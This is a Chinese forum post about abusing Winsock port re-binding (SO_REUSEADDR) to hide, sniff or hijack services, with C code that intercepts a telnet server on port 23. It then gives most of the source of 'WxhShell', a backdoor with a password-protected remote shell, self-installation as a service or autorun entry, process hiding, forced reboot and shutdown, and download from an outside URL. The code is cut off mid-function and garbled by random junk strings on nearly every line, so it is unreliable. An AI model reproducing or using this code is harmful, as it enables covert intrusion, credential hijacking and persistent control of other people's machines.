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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nu[["f~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w)/~Gn676  
/9?yw!  
  saddr.sin_family = AF_INET; Z55C4F5v  
:fnK`RnaQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [4;G^{ bX  
6DC+8I<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TW1#'G_#  
LeNSjxB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z<9Llew^e  
" #w%sG^_  
  这意味着什么?意味着可以进行如下的攻击: +IlQZwm~  
+Y>oNX1KN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]y"=/Nu-Ja  
VaO[SW^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hsYv=Tw3C  
b]N&4t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fC$@m_-KD  
akWOE}5#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Xv 7noq|  
1L=)93,M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bE3mOml  
@Z<Z//^k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 | S'mF6Y  
3L{)Y`P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ENFM``dV#  
sR)jZpmC(  
  #include 9d!mGnl  
  #include dKa2_|k'  
  #include 0(o.[% Ye  
  #include    h]j>S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   & +yo PF  
  int main() y43ha  
  { (,cG+3r ]  
  WORD wVersionRequested; vD(:?M  
  DWORD ret; + 7wMM#z  
  WSADATA wsaData; F#.ph?W  
  BOOL val; '@HCwEuz  
  SOCKADDR_IN saddr; f|~X}R  
  SOCKADDR_IN scaddr; b|\dHi2F T  
  int err;  Af`Tr6)  
  SOCKET s; gq="&  
  SOCKET sc; 1had8K-  
  int caddsize; [c v!YE  
  HANDLE mt; A>_,tt  
  DWORD tid;   0!tuUn  
  wVersionRequested = MAKEWORD( 2, 2 ); SnM^T(gtS3  
  err = WSAStartup( wVersionRequested, &wsaData ); x1Z*R+|>2  
  if ( err != 0 ) { aS~~*UHW  
  printf("error!WSAStartup failed!\n"); "CZv5)  
  return -1; M; YJpi  
  } p+y"r4   
  saddr.sin_family = AF_INET; ?F*I2rt#  
   ]kF1~kXBe  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @3bVjQ`4f  
l \|sHn/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lR]FQnZ  
  saddr.sin_port = htons(23); c6SXz%'k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jINI<[v[  
  { J|<C;[du>  
  printf("error!socket failed!\n"); q4,/RZhzh  
  return -1; dXsD%sG @  
  } =y`-:j\  
  val = TRUE; lr@w1*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 VCvf'$4(X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s^Xs*T@~h  
  { \r [@A3O  
  printf("error!setsockopt failed!\n"); 7OS i2  
  return -1; : t /0  
  } aX Ie  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jB l$r{L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gAf4wq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {CNJlr@z  
'%o^#gJp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *vq75k$7  
  { 7nP{a"4_  
  ret=GetLastError(); W_,7hvE?"H  
  printf("error!bind failed!\n"); ^dE[ ;  
  return -1; n~tb z"&  
  } DfVJ~,x~  
  listen(s,2); $8SSu|O+x  
  while(1) aIh} j,  
  { *B9xL[}  
  caddsize = sizeof(scaddr); =d]}7PO ~  
  //接受连接请求 OXn-!J90P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |$~]|SK  
  if(sc!=INVALID_SOCKET) v5U'ky :  
  { [(&aVHUj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f.uy;v  
  if(mt==NULL) O\)Kg2  
  { F/3L^k]  
  printf("Thread Creat Failed!\n"); B+Ft  >  
  break; Kf_xKW)^  
  } @]p {%"$  
  } =K}T; c  
  CloseHandle(mt); sf:IA%.4t  
  } Q{an[9To~P  
  closesocket(s); T8x8TN"  
  WSACleanup(); p1 ("  
  return 0; {-f%g-@L6|  
  }   8=zREt<Se  
  DWORD WINAPI ClientThread(LPVOID lpParam) uh\Tf5  
  { N">#fYix  
  SOCKET ss = (SOCKET)lpParam; o$V0(1N  
  SOCKET sc; ^7Z;=]8J  
  unsigned char buf[4096]; %b2Hm9r+  
  SOCKADDR_IN saddr; t)rPXvx}!  
  long num; 0WYu5|  
  DWORD val; dDD5OnWmJ  
  DWORD ret; Sw5:T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5HE5$S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q8FpJ\  
  saddr.sin_family = AF_INET; gsl_aW!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c;06>1=wP5  
  saddr.sin_port = htons(23); 1&<o3)L:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %r*,m3d  
  { 0Ub'=`]5a  
  printf("error!socket failed!\n"); S ?J(VJqE  
  return -1; `"<hO 'WU  
  } XXA]ukj;r  
  val = 100; o=K9\l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9)o@d`*  
  { (: ?bQA'Td  
  ret = GetLastError(); )=MK&72r  
  return -1; 5SmJ'zFO  
  } %[M0TE=J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gv}Q/v   
  { "?lz[K>  
  ret = GetLastError(); OE Xa}K#  
  return -1; WWH<s%C  
  } NffKK:HvBB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *::.Uo4O  
  { \okv}x^L=Z  
  printf("error!socket connect failed!\n"); K<`W>2"  
  closesocket(sc); _Hfpizm  
  closesocket(ss); iA[o;D#  
  return -1; ,2+d+Zuh  
  } -Fu,oEj{*  
  while(1) jZ:/d!$S  
  { Aq$1#1J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,^Q~w b!{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e6 x#4YH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *N:0L,8  
  num = recv(ss,buf,4096,0); *+2_!=4V  
  if(num>0) PHY!yc-LjV  
  send(sc,buf,num,0); 4;r,U{uR  
  else if(num==0)  N&kUTSd  
  break; * fj`+J  
  num = recv(sc,buf,4096,0); pV;0Hcy  
  if(num>0) w-xigm>{Z  
  send(ss,buf,num,0); 5MD'AP:  
  else if(num==0) (E&M[hH+  
  break; Uxik&M  
  } ( ^@i(XQ  
  closesocket(ss); ZkQ6~cM  
  closesocket(sc); VmN7a6a  
  return 0 ; ZGsd cnz  
  } o0S 8ki  
`wU['{=  
1#Hr{&2  
========================================================== Y4swMN8Bq  
}Nwp{["}]L  
下边附上一个代码,,WXhSHELL vyB{35p$  
WBkx!{\z  
========================================================== *" C9F/R  
%#eQN ~  
#include "stdafx.h" p@uHzu7  
ksuePMIK  
#include <stdio.h> vCSC:  
#include <string.h> 5U4V_*V  
#include <windows.h> 0GeL">v,:=  
#include <winsock2.h> R8eBIJ/@_  
#include <winsvc.h> Dq$1 j%4Y  
#include <urlmon.h> Y~A I2HS  
Az8ZA~Op=  
#pragma comment (lib, "Ws2_32.lib") DI2e%`$  
#pragma comment (lib, "urlmon.lib") e*PUs  
Mx`';z8~  
#define MAX_USER   100 // 最大客户端连接数 aX6}:"R2C  
#define BUF_SOCK   200 // sock buffer J'7;+.s(  
#define KEY_BUFF   255 // 输入 buffer GEh(pJ  
5(hv|t/a  
#define REBOOT     0   // 重启 g\@.qKF  
#define SHUTDOWN   1   // 关机 S.1>bs2  
J5HK1  
#define DEF_PORT   5000 // 监听端口 !6RDq`  
l&e$:=;8  
#define REG_LEN     16   // 注册表键长度 /2c(6h  
#define SVC_LEN     80   // NT服务名长度 s@7hoU-+  
<OKc?[  
// 从dll定义API Y)1J8kq_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qGEp 6b H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]&q<O0^'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B@i%B+qCLv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "-dA\,G  
]4 c+{  
// wxhshell配置信息 CM++:Y vJ  
struct WSCFG { lqJ92vi6Q  
  int ws_port;         // 监听端口 j 4=iHnE;  
  char ws_passstr[REG_LEN]; // 口令 `67i1w`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~n%Lo3RiP  
  char ws_regname[REG_LEN]; // 注册表键名 N#"l82^H*  
  char ws_svcname[REG_LEN]; // 服务名 I^![)# FC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lN,a+S/'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \y(3b#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5|K[WvG@Co  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "G.X=, V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r~ f;g9I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0zSz[;A  
{cIk-nG -_  
}; EK"/4t{L_  
,zHL8SiTX  
// default Wxhshell configuration tcv(<0  
struct WSCFG wscfg={DEF_PORT, nQ+5jGP1  
    "xuhuanlingzhe", Ew| Z<(  
    1, 43M.Hj]  
    "Wxhshell", @P75f5p}<  
    "Wxhshell", 0+@:f^3]!  
            "WxhShell Service", ZCc23UwI  
    "Wrsky Windows CmdShell Service", 0!0e$!8l  
    "Please Input Your Password: ", F!)[H["_  
  1, _0'X!1"  
  "http://www.wrsky.com/wxhshell.exe", J9*;Bqzim  
  "Wxhshell.exe" ``:[Jr &  
    }; NQ 6oyg@&  
e"eIQI|N  
// 消息定义模块 p!^K.P1 '  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B; e<.M)e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4=|Q2qgFV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  .nrbd#i-  
char *msg_ws_ext="\n\rExit."; la-:"gKC  
char *msg_ws_end="\n\rQuit."; $6wSqH?q  
char *msg_ws_boot="\n\rReboot..."; M57<e`m  
char *msg_ws_poff="\n\rShutdown..."; zm5Pl G  
char *msg_ws_down="\n\rSave to "; ppvlU H5;  
n9={D  
char *msg_ws_err="\n\rErr!"; tm=,x~  
char *msg_ws_ok="\n\rOK!"; i.)n#@M2  
!<=zFy[J.9  
char ExeFile[MAX_PATH]; *Ic^9njt  
int nUser = 0; vCJa%}  
HANDLE handles[MAX_USER]; ny1O- `!1  
int OsIsNt; YF-E1`+?<  
1 @t.J>  
SERVICE_STATUS       serviceStatus; 2 A!*8w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &DGz/o  
x} c  
// 函数声明 .qZz 'Eq[  
int Install(void); {fHor  
int Uninstall(void); r2.w4RMFua  
int DownloadFile(char *sURL, SOCKET wsh); T:{r*zLSN  
int Boot(int flag); (ub(0 h0j  
void HideProc(void); Il&7n_ H  
int GetOsVer(void); *(q?O_3,b  
int Wxhshell(SOCKET wsl); AmDOv4  
void TalkWithClient(void *cs); 1Xm>nF~  
int CmdShell(SOCKET sock); 0'pB7^y  
int StartFromService(void); &k}B66  
int StartWxhshell(LPSTR lpCmdLine); >(igVaZ>  
t7x<=rW7u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a}FyJp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B47I?~{  
l_:P |  
// 数据结构和表定义 Nr>UZlU8  
SERVICE_TABLE_ENTRY DispatchTable[] = ij-'M{f  
{ } (-9d  
{wscfg.ws_svcname, NTServiceMain}, ! Ea!"}  
{NULL, NULL} <af# C2`B  
}; ,v8e7T  
dB4ifeT]  
// 自我安装 -A w]b} #v  
int Install(void) l5 H5!$3~  
{ {X(nn.GpC  
  char svExeFile[MAX_PATH]; v8yCf7+"  
  HKEY key; [iq^'E  
  strcpy(svExeFile,ExeFile); E#rQJ  
Y3:HQ0w`|  
// 如果是win9x系统,修改注册表设为自启动 W)Y`8&,  
if(!OsIsNt) { =&UE67eK,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8HBwcXYoHh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I P#vfM  
  RegCloseKey(key); hui #<2{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ky[Cx!81C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EDgtn)1  
  RegCloseKey(key); {*O+vtir%  
  return 0; h0 92S|iY  
    } |U{~t<BF#  
  } K a(B&.  
} ff.k1%wr^  
else { v0 :n:q  
m-Jy 4f#  
// 如果是NT以上系统,安装为系统服务 g*oX`K.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y<- ]'Yts  
if (schSCManager!=0) ` wEX;  
{ 7MrHu2rZ=  
  SC_HANDLE schService = CreateService X(BxC<!D.  
  ( z3S"1L7  
  schSCManager, /fT"WaTEK  
  wscfg.ws_svcname, 9;7"S.7AV  
  wscfg.ws_svcdisp, QlMLWi  
  SERVICE_ALL_ACCESS, _dk[k@5W{'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gw,K*ph}q  
  SERVICE_AUTO_START, >^g2 Tg:  
  SERVICE_ERROR_NORMAL, \a;xJzc9  
  svExeFile, -avxH?;?7  
  NULL, ]m 3cm  
  NULL, hIqUidJod  
  NULL, 56s%Qlgx  
  NULL, 0g: q%P0  
  NULL }1 qQ7}v  
  ); EL3X8H  
  if (schService!=0) >fP;H}S6  
  { +?"F=.SZ  
  CloseServiceHandle(schService); I[K4/91  
  CloseServiceHandle(schSCManager); MhHh`WUGh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7=?!B#hm !  
  strcat(svExeFile,wscfg.ws_svcname); G5U?]& I8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qtAt=` s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #b428-  
  RegCloseKey(key); FNLS=4  
  return 0; `O2P&!9&  
    } eJ45:]_%I@  
  } N(4y}-w$  
  CloseServiceHandle(schSCManager); >&+V[srfD  
} [UzacXt  
} B6IKD  
-n|>U:  
return 1; c$ib-  
} GP4!t~"1  
v?]a tb/h`  
// 自我卸载 F68e I%Y  
int Uninstall(void) Rjq\$aY}%  
{ =6ru%.8U,  
  HKEY key; $6UU58>n  
; ,sNRES3  
if(!OsIsNt) { .E^w, o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v+{{j|x=  
  RegDeleteValue(key,wscfg.ws_regname); ELnUpmv\  
  RegCloseKey(key); oCkG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qZ[HILh!  
  RegDeleteValue(key,wscfg.ws_regname); #3_g8ni5X  
  RegCloseKey(key); 9VTAs:0D=  
  return 0; 8 f~x\.  
  } D mi.@.  
} Z HZxr  
} Z|*#)<| ~  
else { GNM>hQ)h:  
w]qM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (OES~G  
if (schSCManager!=0) [8Y7Q5Had  
{ .+XK>jl +  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G.L}VpopM  
  if (schService!=0) 7P(o!%H  
  { <h9nt4F  
  if(DeleteService(schService)!=0) { ba G_7>Q9H  
  CloseServiceHandle(schService); K!9K^h  
  CloseServiceHandle(schSCManager); /77cjesZ9  
  return 0; P,m+^,  
  } D<FQVdP  
  CloseServiceHandle(schService); WynTU?  
  } [N~7PNdS  
  CloseServiceHandle(schSCManager); Heh&;c  
} @ntwdv;  
} *V:U\G  
;0m J4G  
return 1; NX%1L! #  
} x^)?V7[t  
n6Uh%rO7S|  
// 从指定url下载文件 c3l(,5DtH  
int DownloadFile(char *sURL, SOCKET wsh) ,m`&J?  
{ N}VoO0I  
  HRESULT hr; )!rD&l$tE  
char seps[]= "/"; ?/MkH0[G=  
char *token; /q>ExXsEC  
char *file; Eu&$Rq}  
char myURL[MAX_PATH]; rG~W=!bj  
char myFILE[MAX_PATH]; #FAW@6QG  
T=pP  
strcpy(myURL,sURL); _J \zj  
  token=strtok(myURL,seps); #y#TEw,  
  while(token!=NULL) T2]8w1l&K  
  { 0$`pYW]  
    file=token; ,{:qbt  
  token=strtok(NULL,seps); [g@qZ5I.  
  } N e{=KdzT  
.{ILeG  
GetCurrentDirectory(MAX_PATH,myFILE); t*Ro2QZ  
strcat(myFILE, "\\"); J&h59dm-  
strcat(myFILE, file); :kI[Pf!z  
  send(wsh,myFILE,strlen(myFILE),0); X4:84  
send(wsh,"...",3,0); rU9")4sQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'MYKAnZ-i  
  if(hr==S_OK) lt4IoE`tk?  
return 0; N9d^;6;i  
else ]!S#[Wt {k  
return 1; }03?eWk/y  
~DxuLk6 s  
} (T2HUmkQ6  
R&t2   
// 系统电源模块 Z)xcxSo  
int Boot(int flag) : ^}!"4{  
{ &/^p:I  
  HANDLE hToken; "'``O~08/  
  TOKEN_PRIVILEGES tkp; Oz\J+  
,)\G<q yO6  
  if(OsIsNt) { Ag:/iB ]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6@# =z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]6v7iuvI  
    tkp.PrivilegeCount = 1; # {k$Fk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l<=k#d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tq}sedYhee  
if(flag==REBOOT) { 6v:L8 t$"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {-7ovH?  
  return 0; g$)0E<  
} '.pGkXyQ  
else { +ah4 K(+3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YSB> WBS-<  
  return 0; . &}x[~g  
} Vo{ ~D:)  
  } jl 7>  
  else { =HMCNl  
if(flag==REBOOT) { >(n /  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h){#dU+&  
  return 0; [m< jM[w{  
} :+9. v  
else { I31Nu{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9b-4BON{P  
  return 0; ~IO'"h'w  
} U%1M?vT/  
} JM0+-,dl[  
NA@Z$Gy  
return 1; ueW/i  
} t`}=~/#`X  
 K\ pZ  
// win9x进程隐藏模块 A9Ea}v9:  
void HideProc(void) *R4=4e2#S  
{ 23=wz%tF  
dwvc;f-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vfc5M6Vm)<  
  if ( hKernel != NULL ) m>[G-~0?kI  
  { po]<sB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FR50y+h^$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fRk'\jzT  
    FreeLibrary(hKernel); ${ .:(z  
  } $i8oLSRV  
%|/\Qu  
return; ""V\hHdp  
} ]x& R=)P  
hP[/xe  
// 获取操作系统版本 ):=8w.yC  
int GetOsVer(void) Gyi0SM6v5&  
{ P%w!4v ~"  
  OSVERSIONINFO winfo; 2}P{7flDY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SJ8 ~:"\P  
  GetVersionEx(&winfo); kp?_ir  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A #pH$s  
  return 1; H,/ =<Th;i  
  else S>HfyZ&Pc  
  return 0; /NPx9cLW^  
} ZW;Re5?DJ  
I L&PN`#  
// 客户端句柄模块 Bz,Xg-k+  
int Wxhshell(SOCKET wsl) Y>nQ<  
{ )WEOqaR]  
  SOCKET wsh; p*zTuB~e<  
  struct sockaddr_in client; -DZ5nx  
  DWORD myID; <[gN4x>'  
:%fnJg(  
  while(nUser<MAX_USER) M>BVnB_,-  
{ )h(=X&(d  
  int nSize=sizeof(client); ) TNG0[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qMO(j%N5  
  if(wsh==INVALID_SOCKET) return 1; L)H/t6}i  
'UCClj;?K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *gwo.s  
if(handles[nUser]==0) &ML-\aSal  
  closesocket(wsh); GIkVU6Q}  
else '|%\QWuZ  
  nUser++; Aba%QQQ  
  } 'vZWk eo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =ZV+*cCC=q  
+WxD=|p;  
  return 0; 7/=r-  
} .q 4FGPWz  
Xa U ^^K  
// 关闭 socket loyhNT=  
void CloseIt(SOCKET wsh) xf:|lQf  
{ tOQnxKzu  
closesocket(wsh); 77]Fp(uI  
nUser--; eY:jVYG(  
ExitThread(0); `apCu  
} oBPm^ob4  
>T14 J'\  
// 客户端请求句柄 +I.{y  
void TalkWithClient(void *cs) )5diX + k  
{ ( ~>-6Nb 5  
@&Af [X4s  
  SOCKET wsh=(SOCKET)cs; +=kz".$  
  char pwd[SVC_LEN]; Lp{uA4:=K  
  char cmd[KEY_BUFF]; )Ee`11  
char chr[1]; <{HV|B7  
int i,j; 5G#2#Al(F  
~f8:sDJ  
  while (nUser < MAX_USER) { 2) Q/cH\g  
Qyj:!-o  
if(wscfg.ws_passstr) { 0bQ"s*K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0n?^I>j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *APTgXYR  
  //ZeroMemory(pwd,KEY_BUFF); SQG9m2  
      i=0; f Lns^  
  while(i<SVC_LEN) { UtB~joaR  
T' )l  
  // 设置超时 s%zdP  
  fd_set FdRead; #.@D}7y5  
  struct timeval TimeOut; kbx4I?  
  FD_ZERO(&FdRead); +=L^h9F  
  FD_SET(wsh,&FdRead); <)oW  
  TimeOut.tv_sec=8; cEPqcy *  
  TimeOut.tv_usec=0; 2B=BRVtSs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7  nawnS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  OJ# d  
e yByAT~W,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #ChF{mh  
  pwd=chr[0]; 0ol*!@?  
  if(chr[0]==0xd || chr[0]==0xa) { jxgs!B>   
  pwd=0; ?$H=n{iW  
  break; J}VG4}L  
  } Y c>.P  
  i++; jQ P2[\  
    } K@!Gs'Op  
Bc?KAK  
  // 如果是非法用户,关闭 socket cs Gd}2VE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lM%3 ?~?Q&  
} t\,X G  
5k<0>6;XH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2Ni {fC?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AUm5$;o,/  
y?xFF9W@H  
while(1) { WP? AQD  
1n>(CwLG"  
  ZeroMemory(cmd,KEY_BUFF); ^r 9  
mA\}zLw+r9  
      // 自动支持客户端 telnet标准   \hqjk:o  
  j=0;  bR83N  
  while(j<KEY_BUFF) { 4Mv]z^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hyC]{E  
  cmd[j]=chr[0]; 2?(dS  
  if(chr[0]==0xa || chr[0]==0xd) { z~RE}k  
  cmd[j]=0; :>m67Zq  
  break; ;v%f +  
  } FWQNO(  
  j++; `z6I][Uf  
    } bb`8YF+?'  
Uizg.<.  
  // 下载文件 %_ Vj'z~T  
  if(strstr(cmd,"http://")) { 0-I L@Di`F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =a_ >")  
  if(DownloadFile(cmd,wsh)) M:.0]'[s5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V\r2=ok@y  
  else bG!/%,s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K\^S>dV  
  } .]K{8[:hq  
  else { :z%q09.)  
%1kIaYZ  
    switch(cmd[0]) { p2(Z(V7*  
  L<ET"&b;4  
  // 帮助 y3@5~4+  
  case '?': { _ v3VUm#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~>>^7oq  
    break; 7) Qq  
  } Amj'$G|+hj  
  // 安装 `:YCOF  
  case 'i': { g3vR\?c`  
    if(Install()) eDS,}Z'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1HBXD\!  
    else :#Nrypsu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X~ g9TUv8  
    break; qW|_|%{U+  
    } 9 kLA57  
  // 卸载 }<=_&n  
  case 'r': { =r>u'wRQ  
    if(Uninstall()) D[p`1$E-1v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &O^t]7  
    else iO{LsG*5Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u\o~'Jz  
    break; {Z^q?~zC[  
    } e# z#bz2<  
  // 显示 wxhshell 所在路径 j4}Q  
  case 'p': { VqnM>||  
    char svExeFile[MAX_PATH]; t`E e/L%  
    strcpy(svExeFile,"\n\r"); L_R(K89w  
      strcat(svExeFile,ExeFile); o'|B|oZ  
        send(wsh,svExeFile,strlen(svExeFile),0); ?dAy_| zD  
    break; EEj.Kch}4  
    } b VcA#7 uA  
  // 重启 ~Nn}FNe  
  case 'b': { o&#!W(   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E{{Kz r2$  
    if(Boot(REBOOT)) Nd%j0lj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j},3@TFh  
    else { ^_\%?K_u  
    closesocket(wsh); zAH6SaI$  
    ExitThread(0); b r\_  
    } sk7]s7  
    break; E$USam  
    } WM9z~z'2a  
  // 关机 EM,=R  
  case 'd': { ZP9x3MHe  
